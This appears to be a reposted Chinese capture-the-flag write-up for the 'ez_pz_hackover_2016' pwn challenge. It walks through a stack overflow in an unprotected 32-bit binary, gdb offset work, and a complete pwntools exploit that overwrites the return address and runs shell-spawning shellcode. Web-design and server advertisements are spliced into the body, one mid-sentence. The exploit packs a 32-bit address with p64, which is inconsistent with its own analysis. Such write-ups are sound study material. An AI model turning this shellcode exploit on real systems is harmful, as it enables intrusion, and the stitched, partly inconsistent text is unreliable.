扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
checksec一下:32位文件,没有开启任何保护
双阳网站制作公司哪家好,找创新互联!从网页设计、网站建设、微信开发、APP开发、成都响应式网站建设公司等网站项目制作,到程序开发,运营维护。创新互联2013年开创至今到现在10年的时间,我们拥有了丰富的建站经验和运维经验,来保证我们的工作的顺利进行。专注于网站建设就选创新互联。运行:提示输入一串字符串
2.IDA分析 main函数: fgets函数读取0x3ff字符串到s变量,但是s变量距离ebp有0x40c(>0x3ff)的距离,此处无法溢出
函数会判断输入的字符串是否等于"crashme",等于则会进入vuln函数
vuln函数: 从变量s复制0x400字节到dest变量,由于dest变量距离ebp只有0x32个字节
此处存在栈溢出
由于本题目没有开启任何保护,因此可以直接写入shellcode,将返回地址覆盖为shellcode的地址,执行shellcode
shellcode利用pwntools工具自动生成
分析:shellcode = asm(shellcraft.sh())
首先要确定在vuln函数中shellcode的地址或者相对偏移(即距离复制过去的变量s(src)的距离)
利用gdb动态调试,输入"crashme/x00"字符串成功通过判断,跳入vuln函数
在vuln函数的nop指令处下断点
gdb动态调试的python代码为
from pwn import *
#p=remote()
context.log_level='debug'
p=process('./ez_pz_hackover_2016')
gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
payload=b'crashme\x00'+b'aaaa'
p.sendline(payload)
pause()
终端显示,
输出的s变量的地址为 0xffcdb45c
在gdb中输入 c 运行到断点
stack 30 查看当前栈的数据
可以发现只能看到’ashme’,没有找到’cr’字符串,
观察偏移栈0x20处的数据,为0x7263ffcd,其中 72代表’r’ 63代表’c’,(由于数据对齐造成)
因此输入点"crashme"的起始地址为栈偏移0x22,地址为0xffcdb422
输入点距离ebp(栈偏移0x38,地址0xffcdb438)的距离为 0x38-0x22 = 0xffcdb438-0xffcdb422 = 0x16
ebp地址为栈偏移0x38,返回地址为栈偏移0x3c,
shellcode字符串的写入地址为栈偏移0x40处(图中红框)
因此我们只需要将函数返回地址覆盖为 shellcode地址(shellcode字符串的写入地址为栈偏移0x40),即可执行shellcode
那么 如何得到shellcode的地址呢?
我们注意到之前输出了s的地址0xffcdb45c,该变量距离shellcode的距离为 0xffcdb45c - 0xffcdb440 = 0x1c
可以用 s_add - 0x1c 表示shellcode地址
构造payload:
shellcode_add = s_add - 0x1c
payload = b’crashme\x00’ + b’a’*(0x16-8+4) + p64(shellcode_add)+ shellcode
其中 0x16-8 是因为 ‘crashme\x00’ 占据8个字节
3.完整expfrom pwn import *
#p=remote('node4.buuoj.cn',29709)
context.log_level='debug'
p=process('./ez_pz_hackover_2016')
# gdb.attach(p,'b *0x8048600')
# p.recvuntil('crash: ')
# s_add=int(p.recv(10),16)
# print (hex(s_add))
# payload=b'crashme\x00'+b'aaaa'
# p.sendline(payload)
# pause()
p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
shellcode = asm(shellcraft.sh())
shellcode_add = s_add - 0x1c
payload = b'crashme\x00' + b'a'*(0x16-8+4) + p64(shellcode_add)+ shellcode
p.sendline(payload)
p.interactive()
成功得到flag:
你是否还在寻找稳定的海外服务器提供商?创新互联www.cdcxhl.cn海外机房具备T级流量清洗系统配攻击溯源,准确流量调度确保服务器高可用性,企业级服务器适合批量采购,新人活动首月15元起,快前往官网查看详情吧
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流